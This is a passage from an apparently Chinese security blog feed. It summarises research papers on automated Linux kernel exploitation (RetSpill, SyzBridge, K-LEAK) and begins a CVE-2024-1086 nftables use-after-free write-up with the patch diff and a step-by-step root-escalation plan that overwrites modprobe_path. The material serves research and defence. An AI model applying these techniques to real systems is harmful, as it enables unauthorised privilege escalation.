静态知识收集:LLVM静态分析,收集对象和内核功能函数的关系。先收集内核对象的结构和size;再收集内核功能,例如copy_from_user(), copy_to_user(), kmalloc(), kfree(),对应读/写/分配/释放;最后识别哪些对象的成员会影响内核功能函数的参数,数据流分析 use-def链。同时,还识别间接调用,例如call i64 %1(i8* %2, i8* %2)的函数指针是否来自某个对象,有利于控制流劫持。

动态知识收集:fuzz技术,识别用户操作如何触发内核功能函数。先在内核功能函数处插桩,然后采用fuzz生成能触发内核功能的测试用例。

3-2. 攻击路径生成

(1)攻击动作选择:选取用户操作。首先是随机选取一个,但是遵循两个原则,一是考虑对象所属的kmem-cache是否合适,二是已具备的能力(例如已具备任意读)就不再选取。

(2)推断:推断用户操作的有效性。基于Datalog[8]进行自动推断。模式和规则参见Table 1。

  • 模式:3种
    • 知识图:来自知识图谱,例如对象所属cache。
    • 内存状态:用于推断用户操作导致的内存状态,重点关注指针和内存的关系(例如PointTo / PointerType / PointerStatus)。注意,DestroyPointer用于区分不同的内存释放方式,确定是否有漏洞。
    • 非预期能力:根据当前状态推断是否具备非预期能力(读/写/执行)。
  • 规则:2种
    • 内存:基于内核内存分配,有助于推断攻击路径。
    • 能力:基于利用经验。例如,如果具备写功能的指针被污染,则可以构造任意地址写。

4-schemas&rules

(3)调度:确定推断结果是否符合预期,确定攻击动作是否加入到攻击路径。经过前面两步分析,已经生成了攻击子路径,接下来需不断评估子路径,直到找到能够生成利用的路径。

3-3. 可利用对象分类

分类:根据利用条件和利用影响进行分类。

  • 利用条件:主要看三个因素,重要度由高到低。
    • 一是所属kmem-cache,有的对象大小固定(例如sembuf),有的对象分配大小用户可控(例如drm_property_blob)可用于不同大小的漏洞对象;
    • 二是所需入口能力,例如,利用tty_struct对象需覆写其第41个成员,而利用seq_operations对象则只需覆写其第1个成员;
    • 三是所适用漏洞类型,例如,setxattr()函数的分配和写入是连续的,不适用于OOB,只适用于UAF。
  • 利用影响:读 / 写 / 执行能力。写能力最重要,执行能力次之,最后是读能力。例如,msg_msg同时具备读/写能力,所以利用影响更大。

4. 实验

实验结果可利用对象识别与分类。识别出50个对象可用于构造写原语,81个对象可用于构造读原语,112个对象可构造控制流劫持,并将这些对象分为12个等级。12个等级是根据利用条件(Cache / 入口能力-Cap / 漏洞类型-T)和利用影响(W / R / 执行-X 能力)的组合来决定,例如,Cache&Cap&T-WR 表示该对象对cache、入口能力和漏洞类型没有要求,非预期能力是读/写。详细分类结果参见Table 6。

5-Exploitable-Objects

6-Classification

]]>
bsauce
【bsauce读论文】2023-CCS-RetSpill-内核栈内存ROP布置与提权技术2024-05-21T00:00:00+08:002024-05-21T00:00:00+08:00https://bsauce.github.io/2024/05/21/RetSpill【bsauce读论文】2023-CCS-RetSpill:内核栈内存ROP布置与提权技术

基本信息

  • 原文标题:RetSpill: Igniting User-Controlled Data to Burn Away Linux Kernel Protections
  • 原文作者:Kyle Zeng, Zhenpeng Lin, Kangjie Lu, Xinyu Xing, Ruoyu Wang, Adam Doupé, Yan Shoshitaishvili, Tiffany Bao
  • 作者单位:Arizona State University
  • 关键词:Linux内核, 漏洞可利用性, 自动化评估, RetSpill
  • 原文链接:https://dl.acm.org/doi/10.1145/3576915.3623220
  • 开源代码:https://github.com/sefcom/RetSpill

1. 论文要点

论文简介:作者提出RetSpill,通过syscall将用户数据(ROP链)布置到内核栈上,然后结合控制流劫持(CFH)漏洞进行提权,能够绕过当前Linux内核上开启的所有防护机制(例如FG-KASLR)。作者还提出了新的防护机制。

主要内容:作者发现,通过syscall在内核栈平均可以布置11个ROP,足以构造任意读写和执行。

实验:通过对22个CFH漏洞的CVE进行测试,成功自动生成20个提权EXP。

2. 背景与介绍

防护机制:SMEP[47] / SMAP[12] / KPTI[64] / NX-physmap[31] / CR Pinning[63] / STATIC_USERMODE_HELPER[35] / RKP[56](不允许直接修改进程凭证)/ pt-rand[14](不允许直接修改内核页表来进行数据流攻击)/ RANDSTACK[53](随机化栈布局,防止利用未初始化使用漏洞) / STACK CANARY。

漏洞利用:目前最常见的是利用堆漏洞,先通过覆写堆对象上的函数指针来构造CFHP,然后组合其他利用原语来控制栈、执行ROP链,各种利用方法和所需的原语参见 Table 1。

1-Exploitation_Approach

栈迁移的局限:目前常用的方法是在堆上布置ROP,然后将栈指针指向堆上伪造的栈。本方法存在两个局限,一是不能直接重写payload,需要重新喷射包含payload的堆对象或再次触发漏洞,降低了漏洞利用的稳定性;二是依赖特定的内存布局、特定的ROP、额外的利用原语(例如寄存器控制)。本文提出的RetSpill方法需要的原语最少。

内核ROP:和用户空间ROP相比,内核ROP有两个要求。一是信息泄露,需要将信息传到用户空间,可先将信息存到某个寄存器,该寄存器在进行上下文切换时不会被清零;二是退出时要避免panic(可利用KPTI trampoline[38]返回用户空间、无限休眠[74]、调用do_task_dead()杀死当前任务)。

内核栈与Syscall:调用syscall时,会切换到内核栈,然后将用户上下文(寄存器)压到栈底部,将用户上下文称为 pt_regs,返回用户程序时会恢复用户上下文。

威胁模型:开启的保护机制类似Kepler[70],增加了FG-KASLR[34]。也即 SMEP, SMAP, KPTI, NX-physmap, CR Pinning, STATIC_USERMODE_HELPER, RKP, pt-rand, RANDKSTACK, STACK CANARY, FG-KASLR。假设已经有了CFH原语,且能够泄露内核基址。

3. RetFill利用

3-1. 数据注入

数据注入分类:本文主要关注直接数据注入。

  • 直接数据注入:通过syscall直接将数据(用户寄存器或用户内存)传入内核栈。例如,见Listing 1,poll调用 copy_from_user()将用户内存数据拷贝到内核栈上。
  • 间接数据注入:通过多个syscall来传递数据。例如,先调用open将数据存入内核堆,再调用readlink将数据载入内核栈。

2-poll

数据注入方法

  • (1)有效数据poll将0x1e0字节数据拷贝到stack_pps。如果攻击者控制了用户空间的file对象,通过file->f_op->poll劫持控制流时,就能控制内核栈上0x1e0字节的数据,再利用add rsp, X; ret gadget跳转到可控区域,执行ROP链。
  • (2)上下文寄存器:调用syscall时,内核栈上的pt_regs结构会保存用户上下文。
  • (3)调用约定:内核调用约定中,被调用者和调用者都需要保存寄存器(被称为callee-saved / caller-saved寄存器),一般在函数开头压栈,结尾出栈。两种方式布置数据:
    • 某些syscall会直接调用handler函数,将用户寄存器保存到pt_regs后,寄存器上还存有用户数据,handler函数内会把用户寄存器压栈。
    • syscall中的handler可能会调用其他helper函数,也会将用户寄存器压栈保存。
  • (4)未初始化内存:同一线程的上一syscall的栈数据仍存在栈上,如果在当前syscall函数中部劫持函数指针,就能避免栈初始化。可参考导向型栈喷射技术[45]来布置栈数据。例如,见Listing 2,原本会在recvmsg hadnler(第6行)初始化address对象,如果利用漏洞来覆写sock结构,控制sock->ops->recvmsg劫持控制流,这样就不会初始化address对象。

3-recvfrom

3-2. 执行ROP

跳转到ROP:可通过add rsp, X; ret gadget跳转到用户控制的ROP区域。

ROP链碎片化原因:一是不同的syscall数据注入能力有限,方法二最稳定;二是某些CFHP原语对参数有要求,例如CVE-2010-2959要求rdi为fd参数;三是用户可控的栈内存不连续,需跳转。

独立的ROP链:由于是在堆上构造的CFHP,所以EXP中各个线程都能触发,可创建子线程来触发ROP链,避免影响主线程。这样就能在不同的线程、不同的上下文下执行不同的ROP链,不需要多次触发漏洞。优势一,可在ROP链末尾调用do_task_dead优雅退出;优势二,可多次执行ROP链,绕过随机化保护,不影响稳定性。

任意读/写/执行:用户数据放栈上有利于无限次调用,每次调用时重新布置ROP即可。

3-3. 绕过保护机制

  • SMEP / SMAP / KPTI:不依赖用户数据,可绕过;
  • RANDKSTACK:在栈帧和pt_regs之间插入了随机偏移,只影响方法2(上下文寄存器)和方法4(未初始化内存)。方法2可能可用,由于随机偏移只有5bit是随机的,我们可以硬编码一个偏移,然后在ROP前置一些ret-sledret gadget),增大执行ROP的机率。如果系统禁用了panic_on_oops(发行版中只有CentOS是开启的),就能绕过RANDSTACK,可以在多个子进程中尝试执行payload,执行失败也不会触发崩溃。
  • STACKLEAK / STRUCTLEAK / INITSTACK:强制初始化栈,影响方法4(未初始化内存)。
  • FG-KASLR:boot阶段对内核函数地址随机化,但不会对asm内联代码随机化。RetSpill可以利用地址固定的gadget来构造任意读原语,动态泄露函数地址[38],绕过FG-KASLR。
  • KCFI / IBT:CFI保护机制,针对forward-edge CFH,部分阻止了CFHP攻击。例如,KCFI编译的内核中,__efi_call()没有验证其调用目标。还可以利用backward-edge来劫持控制流(示例参见[30])。
  • Shadow Stack:针对backward-edge CFH,本机制还没有在x86_64的Linux内核上实现,只能理论上分析如何绕过。可以利用forward-edge CFH,但不能执行ROP,可以利用JOP[3]/PCOP[55]。
  • CFI + Shadow Stack:无法绕过。

3-4. 半自动化

IGNI框架:半自动化生成RetSpill利用。生成的EXP仅执行commit_creds(init_cred)便返回到用户态。工作流见Figure 2。输入内核Image和CFHP的漏洞,输出 1) 负责栈移动的gadget; 2) ignite函数,负责数据注入,调用触发syscall,生成提权EXP。

技术实现:采用污点分析识别能够注入数据的syscall,采用符号执行angr生成ROP链。注意,目前没有用到未初始化内存来布置数据,因为无法确定性的控制内核栈内存

难点

  • 从大量syscall调用中识别出能触发CFH的syscall;
  • 识别用户可控的数据,且不干扰CFH原语的获得;
  • 如何在离散的区域布置ROP链。方法类似BOPC[28]

4-IGNI-Overview

4. 实验

数据选取:22个CVE,13个exp来自KHeaps[75],9个来自公开exp。

保护机制:SMEP, SMAP, KPTI, NX-physmap, CR pinning, STACK CANARY。未开启STATIC_USERMODE_HELPER, FG-KASLR, RKP, PT-Rand。

实验结果:见Table 4,在获得CFHP时在栈上平均可布置16.5个gadget;IGNI能自动生成20个EXP;采用自编写漏洞模块来测试保护机制绕过能力,能够成功绕过 RANDSTACK、KCFI / IBT、FG-KASLR。成功案例是CVE-2022-1786。

5-Overall-Results

5. 防护机制

思路:当前CFI+Shadow Stack还没有准备好,且依赖特殊硬件,本文方法是消除往内核栈布置用户数据的路径。

(1)上下文寄存器:可将上下文寄存器保存在task_struct上。

(2)未初始化内存:STACKLEAK / STRUCTLEAK / INITSTACK / RANDKSTACK 都能防护。

(3)有效数据 / 调用约定:在每个栈帧的底部都插入一个随机偏移,这样能防止攻击者猜中偏移使用到用户数据。如图。

6-defense

]]>
bsauce
【bsauce读论文】2024-NDSS-SyzBridge-Linux发行版内核漏洞可利用性评估2024-05-20T00:00:00+08:002024-05-20T00:00:00+08:00https://bsauce.github.io/2024/05/20/SyzBridge【bsauce读论文】2024-NDSS-SyzBridge:Linux发行版内核漏洞可利用性评估

基本信息

  • 原文标题:SyzBridge: Bridging the Gap in Exploitability Assessment of Linux Kernel Bugs in the Linux Ecosystem
  • 原文作者:Xiaochen Zou, Yu Hao, Zheng Zhang, Juefei Pu, Weiteng Chen, Zhiyun Qian
  • 作者单位:UC Riverside, Microsoft Research
  • 关键词:Linux内核, 漏洞可利用性, 自动化评估, SyzBridge
  • 原文链接:https://dx.doi.org/10.14722/ndss.2024.24926
  • 开源代码:https://github.com/seclab-ucr/SyzBridge

1. 论文要点

论文简介:作者调研了43个Linux发行版和230个漏洞,在发行版内核上复现上游PoC,在root权限下成功复现19.1%,非root权限下只成功复现0.9%。大部分高危漏洞在下游内核中无法复现。本文开发了SyzBridge,自动调整上游PoC以适应各种下游发行版内核,来真实反映内核漏洞的危害程度,并集成了SyzScope工具(识别高危的利用原语)。

实验:测试SyzBridge,在发行版内核上测试230个上游内核漏洞,root权限和非root权限下,触发率分别提升61%和1300%。集成SyzScope后,测试了282个上游高危漏洞,发现有53个漏洞在下游内核的普通权限下可利用(见Table VI),原先只有5个有CVE编号的被认定为可利用。

本文主要解决以下问题

  • (1)为什么上游PoC无法在下游内核中复现,如何避免?
  • (2)是否可以在非root权限下复现?

2. 案例分析

本漏洞是OOB write,在Ubuntu上以root权限运行PoC无法复现,SyzBridge找到了原因并在Ubuntu上生成了新PoC。

漏洞复现失败原因km_state_notify()遍历xfrm_km_list全局链表中的xfrm_mgr对象,并调用相应的notify()函数(第7行,漏洞函数);xfrm_register_km()函数负责初始化xfrm_km_list全局链表(第14行)。在上游内核中,在内核启动时加载xfrm_user模块时,会自动调用该初始化函数;但在Ubuntu默认配置中,不会加载该模块,所以漏洞无法复现。

1-Motivating_Example

SyzBridge主要工作

  • 分析PoC失败原因:通过比较Ubuntu和上游内核的trace,Ubuntu默认是pfkey模块负责notify,所以默认会调用pfkey_send_notify(),而上游内核会调用xfrm_send_state_notify()。SyzBridge会收集trace并自动定位未匹配的trace node(node 3),识别缺失的函数xfrm_send_state_notify()及其所属的xfrm_user模块,然后通过modprobe加载该模块,PoC就能触发漏洞。

  • 加载模块和降权方法modprobe加载模块需要root权限,SyzBridge利用内核的内部机制来加载模块,无需root权限;SyzBridge可通过识别内核安全检查、使用用户命名空间,来降低使用network模块的权限。
  • 整合SyzScope:SyzBridge整合SyzScope,以全面评估下游发行版中的漏洞可利用性,该分析结果有利于构造EXP。

3. 探索性实验

实验设置

  • 漏洞选取:选取syzbot上230个含C PoC的漏洞。

  • Linux发行版选取:Ubuntu, Fedora, Debian, Suse 及其子版本共43个版本。
  • 测试内容:先测每个发行版在root权限下PoC是否成功触发,若成功则测在非root权限下是否成功。

实验结果:只有19.1%的漏洞影响到下游内核,0.9%的漏洞能在非root权限下触发,表明大多数fuzz出来的漏洞对下游内核没有影响。

复现失败原因分析

  • (1)漏洞代码存在,但是未被编译到下游内核中(41/62),不可能触发。
  • (2)代码上下文改变,这是个例(1/62)。
  • (3)环境要求不满足(20/62)。
    • R1——发行版缺少/dev/raw-gadget调试设备(syzbot编译该接口是为了从伪USB设备获得模拟输入,以fuzz USB功能);
    • R2——来自守护进程的背景噪声,例如,占用了loop设备资源,或者导致条件竞争失败;
    • R3——未加载必要的内核模块。
  • (4)R4——需要root权限。主要检查uid/gid,还有capability检查(例如,具备CAP_NET_ADMIN权限的进程才能使用 raw sockets)。

4. SyzBridge

SyzBridge的输入是上游PoC,自动评估其能否在下游内核中触发,并分别解决导致触发失败的4个原因(R1-R4)。4-1 ~ 4-3 属于环境调整,4-4 / 4-5 属于权限调整。

4-1. 解决R1

由于缺乏必要的准备步骤,可能导致PoC触发失败。

下游内核准备步骤精简策略:迭代禁用现有的准备步骤,找到能触发漏洞的最精简步骤,避免遗漏必要的准备步骤。

4-2. 解决R2-背景噪声

背景噪声通常来自守护进程和服务。对于资源占用问题,解决方法是强制让内核释放loop设备(umount);对于影响条件竞争问题,可以增加PoC的进程数,或在循环中跑,增大赢得竞争的机率。

4-3. 解决R3-模块缺失

定位显式依赖的缺失模块:显式指的是模块代码出现在trace中。利用ftrace收集PoC分别在上游和下游内核中执行的函数级trace,识别出函数对应的内核模块。

定位隐式依赖的缺失模块:隐式指的是代码未出现在trace中,但会影响漏洞触发。例如Figure 3,trace中访问了net_device全局链表,但由另一模块调用register_netdevice()来将网络设备注册到该链表。方法是参考[42]来识别隐式依赖,本质是识别出某些全局变量,在某个模块中被读取,在另一个模块被写入。

模块最简化:确定能触发漏洞的最少模块,方法类似syscall minimization,一个个添加模块,直到满足需求。

4-4. 解决R3-非root加载模块

问题:使用modprobe命令加载模块,底层会调用init_module(),检查用户初始的命名空间init_user_ns是否具有CAP_SYS_MODULE权限,只有root用户才具备该权限。

解决:内核中有一种机制,非root用户可通过某些调用(eg, socket())来自动加载某些模块,例如,调用syscall(__NR_socket, 16, 3, 6)就会加载xfrm_user模块。本质是调用request_module()来加载模块不需要特权,作者通过基于syzkaller的引导型fuzzer来探索能够到达request_module()的测试用例(具体思路,通过MLTA[54]静态分析搜索可能到达request_module()的syscall,限制fuzz目标,将覆盖率反馈更改为,插桩request_module()查看是否加载了新的模块名)。

结果:分别识别出316-Ubuntu、236-Fedora、299-Debian、311-Suse个模块,不需要特权即可加载,并且fuzzer生成了相应的测试用例。

4-5. 内核安全检查

kernel.unprivileged_userns_clone设置为1启用namespace,利用用户命名空间来绕过内核权限检查,例如ns_capable(net->user_ns, CAP_NET_ADMIN)。注意,如果是检查的调用者的权限,ns_capable(&init_user_ns, cap),则无法绕过。

5. 实验

评估上游PoC调整情况:对230个来自syzbot的漏洞进行测试,看SyzBridge能否提高在下游内核中的复现率,结果见Table IV。root权限中漏洞触发率提高61%,非root权限下漏洞触发率提高1300%。

2-result-1

]]>
bsauce
【bsauce读论文】2024-NDSS-K-LEAK-Linux内核infoleak利用自动生成2024-05-18T00:00:00+08:002024-05-18T00:00:00+08:00https://bsauce.github.io/2024/05/18/K-LEAK【bsauce读论文】2024-NDSS-K-LEAK:Linux内核infoleak利用自动生成

基本信息

  • 原文标题:K-LEAK: Towards Automating the Generation of Multi-Step Infoleak Exploits against the Linux Kernel
  • 原文作者:Zhengchuan Liang, Xiaochen Zou, Chengyu Song, Zhiyun Qian
  • 作者单位:加州大学河滨分校(UC Riverside)
  • 关键词:信息泄露, Linux内核, 自动化, 安全漏洞
  • 原文链接:DOI link
  • 开源代码:GitHub link

1. 论文要点

论文简介:K-LEAK工具是一种基于图的数据流分析框架,针对Linux内核中的内存漏洞(UAF/OOB),辅助生成infoleak的利用,绕过内核KASLR防护。本文将infoleak利用生成问题看作是数据流搜索问题,通过对内存错误引入的非预期数据流,以及现有内存错误如何转化为新的内存错误进行建模,K-LEAK能够系统性的搜索出多步infoleak数据流路径。

特点

  • (1)统一处理预期和非预期数据流片段,将内核敏感信息连接到泄露点(eg, copy_to_user());
  • (2)支持跨syscall边界的推理;
  • (3)允许在发现最终的信息泄露之前推理中间原语(也即新的内存错误)。

测试:测试了250个由syzbot fuzz出来的Linux内核内存漏洞,找到40个漏洞的infoleak路径,为20个漏洞生成EXP。

2. Introduction

主要介绍数据流分析和points-to分析。

DFG问题:当前的DFG图没有考虑内存错误,作者引入了M-DFG(Memory-error-augmented data-flow graph),能捕获内核中预期和非预期的数据流,其中node表示程序点,edge表示预期和非预期的数据流。可以通过M-DFG来搜索infoleak路径和能获得新内存错误的可控寄存器。

Points-to分析很难用于Linux内核的原因:Linux有一个特性,multi-interaction[13],也即多个程序入口,用户程序可以调用多个syscall和内核交互,多个syscall可通过共享内存来传播数据流。这会给infoleak路径搜索带来一个问题,敏感信息的数据流可能会跨多个syscall,例如在syscall A中将敏感信息存入全局内存,在syscall B中读取敏感信息并传播到泄露点,导致搜索空间变大。

本文思路:本文的points-to分析采用了SUTURE,数据流分析采用的是M-DFG。SUTURE[51]解决了multi-interaction问题,它对每个syscall入口单独进行points-to分析和数据流分析,对每个syscall生成points-to总结和数据流总结。两种分析都是inter-procedural flow-, context-, field-sensitive。在points-to分析中,它对每个入口创建抽象内存对象,使用访问路径来确定内存对象的别名(例如,A入口中的内存对象o1和B入口的内存对象o2是别名);在数据流分析中(主要采用污点分析),在获得所有入口的data-flow总结后,就会连接不同入口的数据流,构成跨syscall的数据流。

3. 研究内容

挑战

  • (1)对内存错误带来的非预期数据流进行建模。内存错误的本质是错误指针的引用(指针越界或指向空闲/未初始化内存),会导致load读和store写操作之间新的数据流。也就是说,错误指针会导致load和store指针的非预期的别名。需设计针对错误指针的别名分析。
  • (2)对跨syscall数据流进行建模。非预期的跨syscall数据流是指,某syscall利用内存错误,非预期的读或写另一个syscall使用的内存。
  • (3)对额外内存错误进行建模。内存错误有时需要转化后才能实现infoleak,例如elastic对象。本文实现迭代搜索算法,不仅搜索infoleak路径,还搜索攻击者可控的指针,并检查通过可控指针是否能获得新的内存错误。

工作过程:方框表示分析组件,椭圆表示输入/输出数据。内核源码编译为LLVM中间码,经过points-to分析构建M-DFG图,引入初始内存错误后扩展为M-DFG,通过迭代搜索来搜索infoleak路径和攻击者可控的指针,如果发现新的内存错误,就根据该信息扩展出新的M-DFG进行迭代。

K-LEAK-Overview

案例分析:参加Listing 2 代码图。

  • UAF读:12行处存在UAF读,ax25_dev *ax25_dev指向已被释放的对象,读取的值被存入ax25_cb *ax25对象中;
  • 堆喷占用:为了泄露信息,需先堆喷struct usb_bus对象占据空闲的ax25_cb对象,往漏洞对象写敏感数据(ubus指针,17行);
  • 泄露:28行会将ubus指针赋给另一变量,29行泄露出来。

2-example

M-DFG示例:水平线表示infoleak路径,包含3段,对应3个syscall入口。虚线是pointer edge(地址的存储与载入),实线是data edge(数据的存储与载入)。

  • mon_bus_init()——17行,store点将敏感指针存入struct mon_bus对象;
  • ax25_setsockopt()——12行,从地址&ax25_dev->values[N2]读取,由于 &mbus->u_bus&ax25_dev->values[N2]别名(重分配导致内存重叠),所以引入红色箭头(由UAF内存错误导致的非预期边),连接上一次的store和本次load,也称为写后读依赖(read-after-write data edge);
  • ax25_getsockopt()——28行,临时寄存器值保存到栈地址valptr=&valcopy_to_uservalptr地址的内容拷贝到用户空间。

所以说,M-DFG引入了内存错误带来的数据流边(read-after-write data edge),这样ax25_cbstruct mon_bus就因为UAF而形成别名。总目标就是,找到一条从敏感信息到泄露点的infoleak路径。

3-M-DFG_example

3-1. M-DFG

生成原理:基于两个信息生成,(1)LLVM的SSA静态单赋值,(2)SUTURE[51]的指向分析结果。

M-DFG包含三类nodevariable node / load node / store load

M-DFG包含两类edge:针对不同的指令(BinOp / ConOp / Phi / Call / Load / Store)分别进行分析,确定添加哪种边。copy_to_user()当作一类特殊的load/store指令。如果store的指针和load的指针是别名,则添加一条data edge。不处理栈上的,栈指针和栈帧指针。

  • data edge —— 直接数据流传递,实心边;
  • pointer edge —— 特殊的数据流边,只针对store/load指令,虚线边。

3-2. M-DFG搜索

M-DFG优势

  • (1)对比SUTURE[51]:SUTURE使用污点分析来解决数据依赖问题,创建污点总结(污点source到污点sink),这种数据结构不高效、占用内存大;
  • (2)对比SVF:SVF使用变量节点来表示顶层变量和内存节点,M-DFG去掉内存节点并引入load/store节点和pointer edge,M-DFG可以用stored_value->store_node->load_node->loaded_value来表示 read-after-write,类似于stored_value->memory_node->loaded_value,但M-DFG的优势是能够解释如何构造新的内存错误,因为M-DFG比普通DFG多了一个pointer edge(新的内存错误,表示攻击者是否可通过一个pointer edge来控制一个load/store节点)。

搜索infoleak路径:找到从敏感信息(内核指针,也即函数指针、数据指针,keys,network&IPC消息)到泄露点(见Table III)的路径。并使用SyzScope[54]中的符号执行引擎来验证路径可达性

搜索新内存错误:等效于搜索一条路径,从用户可控的数据节点(copy_from_user())到指针变量节点,该指针稍后会被load/store使用。如果存在该数据流路径,且指针变量可指向非预期内存位置,则表示可构造新内存错误。

迭代搜索:每次迭代,先用新内存错误来扩展M-DFG,然后搜索infoleak路径和新内存错误,新找到的内存错误添加到下一轮迭代。

可利用性验证:为了简化验证,本文假设堆喷成功,利用gdb将敏感信息写入待读的地址。例如,本来需堆喷mbus占据ax25_dev对象,现在使用GDB将mbus->ubus指针写入load指令(也即tmp = mbus->u_bus)。如果能通过测试用例泄露敏感信息,则可利用。

4. 实现

总体采用静态分析和符号执行实现,组件包含 M-DFG builderGraph Searcher。 采用Syzscope[54]来获得初始的内存错误;M-DFG builder 是基于SUTURE实现;Graph Searcher中,采用BFS来搜索infoleak路径和新的内存错误,采用Angr符号执行来验证路径可达性。

5. 实验

对syzbot上的250个UAF/OOB漏洞进行测试,能够找到40个infoleak路径,生成21个EXP。

4-Results

]]>
bsauce
【kernel exploit】CVE-2024-1086-nftables-UAF-Dirty Pagedirectory利用方法2024-05-10T00:00:00+08:002024-05-10T00:00:00+08:00https://bsauce.github.io/2024/05/10/CVE-2024-1086【kernel exploit】CVE-2024-1086 nftables UAF漏洞-Dirty Pagedirectory利用方法

影响版本:Linux v3.15 - v6.7.2。v5.15.149 / v6.1.76 / v6.6.15 / v6.7.3 已修复,包括CentOS、Debian、Ubuntu和KernelCTF等。

注意,本exp适用于v5.14.21~v6.3.13,成功率99.4%;对于v6.4及以上版本的内核,默认开启了CONFIG_INIT_ON_ALLOC_DEFAULT_ON=y(包括 Ubuntu v6.5),本exp会失败,若关闭开选项,本exp最高可支持到v6.6.4。

测试版本:Linux-6.3.13 exploit及测试环境下载地址—https://github.com/bsauce/kernel-exploit-factory

编译选项CONFIG_USER_NS=y (设置命令sysctl kernel.unprivileged_userns_clone = 1

CONFIG_BINFMT_MISC=y (否则启动VM时报错)

CONFIG_NF_TABLES=y

在编译时将.config中的CONFIG_E1000CONFIG_E1000E,变更为=y。参考

$ wget https://mirrors.tuna.tsinghua.edu.cn/kernel/v6.x/linux-6.3.13.tar.xz
$ tar -xvf linux-6.3.13.tar.xz
# KASAN: 设置 make menuconfig 设置"Kernel hacking" ->"Memory Debugging" -> "KASan: runtime memory debugger"。
$ make -j32
$ make all
$ make modules
# 编译出的bzImage目录:/arch/x86/boot/bzImage。

普通内核中(KernelCTF、Ubuntu 和 Debian等主要发行版),会关闭CONFIG_INIT_ON_FREE_DEFAULT_ON,否则会将释放后的page置为NULL,会影响skb利用的部分。CONFIG_INIT_ON_ALLOC_DEFAULT_ON是默认开启的,但是在v6.4.0版本以后会产生副作用(bad_page()检测,导致利用失败),如果关闭CONFIG_INIT_ON_ALLOC_DEFAULT_ON,本exp可以支持到v6.6.4。

漏洞描述:netfilter子系统nf_tables组件中存在UAF漏洞,nft_verdict_init()函数中,允许设置一个很大的verdict值(恶意值0xffff0000);nf_hook_slow() 函数中,在处理NF_DROP (0)时,它会先释放skb数据包,并调用NF_DROP_GETERR()来修改返回值(根据verdict值设置为NF_ACCEPT - 正值1)。后续引用skb时触发UAF,NF_HOOK()会再次释放skb。

补丁patch 修复方法是,去掉 data->verdict.code & NF_VERDICT_MASK,一旦出现非法的verdict值则返回错误,防止用户将verdict设置为恶意值(0xffff0000)。


diff --git a/net/netfilter/nf_tables_api.c b/net/netfilter/nf_tables_api.c
index 02f45424644b4d..c537104411e7d1 100644
--- a/net/netfilter/nf_tables_api.c
+++ b/net/netfilter/nf_tables_api.c
@@ -10992,16 +10992,10 @@ static int nft_verdict_init(const struct nft_ctx *ctx, struct nft_data *data,
 	data->verdict.code = ntohl(nla_get_be32(tb[NFTA_VERDICT_CODE]));
 
 	switch (data->verdict.code) {
-	default:
-		switch (data->verdict.code & NF_VERDICT_MASK) {
-		case NF_ACCEPT:
-		case NF_DROP:
-		case NF_QUEUE:
-			break;
-		default:
-			return -EINVAL;
-		}
-		fallthrough;
+	case NF_ACCEPT:
+	case NF_DROP:
+	case NF_QUEUE:
+		break;
 	case NFT_CONTINUE:
 	case NFT_BREAK:
 	case NFT_RETURN:
@@ -11036,6 +11030,8 @@ static int nft_verdict_init(const struct nft_ctx *ctx, struct nft_data *data,
 
 		data->verdict.chain = chain;
 		break;
+	default:
+		return -EINVAL;
 	}
 
 	desc->len = sizeof(data->verdict);

保护机制:KASLR/SMEP/SMAP/KPTI

利用总结:构造重叠的PMD页和PTE页,PMD[0]/PMD[1]会覆写PTE[0]/PTE[1],通过往PTE页对应的用户虚拟地址写入,来伪造PMD[0]对应的PTE页(条目对应的是物理地址),这样就能通过往PMD对应的用户虚拟地址写入,实现任意物理地址写。

  • (0)初始化:设置用户命名空间、网络接口、nftables初始化(添加rule - 比较包的前8字节是否为\x41,protocol字段是否为70,再添加恶意verdict值);
    • (0-1)预分配一个PUD,便于之后分配重叠的PMD;
    • (0-2)提前注册16000个待堆喷的 PTE 页,每个PTE页含2个PTE条目(没有写入,暂且不会分配实际的PTE页,同时会预注册16000/512个PMD页);
    • (0-3)预分配 16000/512 个 PMD页,便于之后实际分配 16000 个PTE页;
    • (0-4)预注册2个PMD条目(位于同一PMD页,对应不同的PTE页),对应2个PTE条目 2*512*4096 = 0x400000
    • (0-5)创建5个socket:ip/udp client/udp server/tcp client/tcp server
  • (1)触发Double-Free,构造重叠的PMD页和PTE页
    • (1-1)分配170个干净skb(udp包),在Double-Free之间释放本skb,避免检测导致崩溃;
    • (1-2)1st Double-Free skb (SOCK_RAW ip包,避免二次释放时崩溃),触发nftables rule释放skb;
    • (1-3)释放170个skb到freelist,避免Double-Free检测导致崩溃;
    • (1-4)堆喷16000个PTE页,耗尽PCP order-0 list;
    • (1-5)2nd Double-Free skb (包长度应该为16,但这里设置为0,触发错误来释放skb);
    • (1-6)分配重叠的PMD页。PMD[0]/PMD[1]会覆写PTE[0]/PTE[1]
    • (1-7)找到重叠的PTE页对应的用户虚拟地址 - pte_area:如果PTE页和PMD页重叠,则PTE条目pte[0]就会被覆写为&_pmd_area区域中的 PFN+flags,而不是 0x41
  • (2)查找内核物理基地址 (每次扫描512页,对应1个PTE页)
    • (2-1)伪造PTE页,指向待扫描的物理地址;
    • (2-2)flush TLB (在子进程中调用munmap()取消映射,会将父进程中的TLB一起刷新);
    • (2-3)每次迭代扫描1个PTE页(而不是CONFIG_PHYSICAL_ALIGN),根据指纹查找内核物理基址;
  • (3)查找 modprobe_path 物理基址
    • (3-1)从内核基址开始扫描 40 * 0x200000 (2MiB) = 0x5000000 (80MiB)字节, 搜索modprobe_path,如果没找到,则从另一个内核基址开始扫;
    • (3-2)伪造第2个PTE页,指向待扫描的物理地址;
    • (3-3)搜索modprobe_path地址,并通过覆写来验证是否为正确地址;
  • (4)覆写modprobe_path
    • (4-1)猜测当前ns的PID号,将modprobe_path修改为 "/proc/<pid>/fd/<script_fd>"
  • (5)获取root shell
    • (5-1)构造提权脚本;
    • (5-2)触发执行modprobe_path,如果PID错误,则什么也不发生;
    • (5-3)如果PID正确,且提权脚本成功执行,就会顺便往status_fd文件中写1。

1. 总览

1-1. 利用总结

本文的利用方法参考了Dirty Pagetable blogpost,改进该方法后用于提权,并引入了一些实用的利用技巧(例如TLB flushing)。基于Dirty Pagedirectory技术(页表混淆),从用户层实施内核空间镜像攻击(KSMA)。

Overview-Exploit

对各版本的内核测试结果如下:

| Kernel | Kernel Version | Distro    | Distro Version    | Working/Fail | CPU Platform      | CPU Cores | RAM Size | Fail Reason                                                                           | Test Status | Config URL                                                                                                                               |
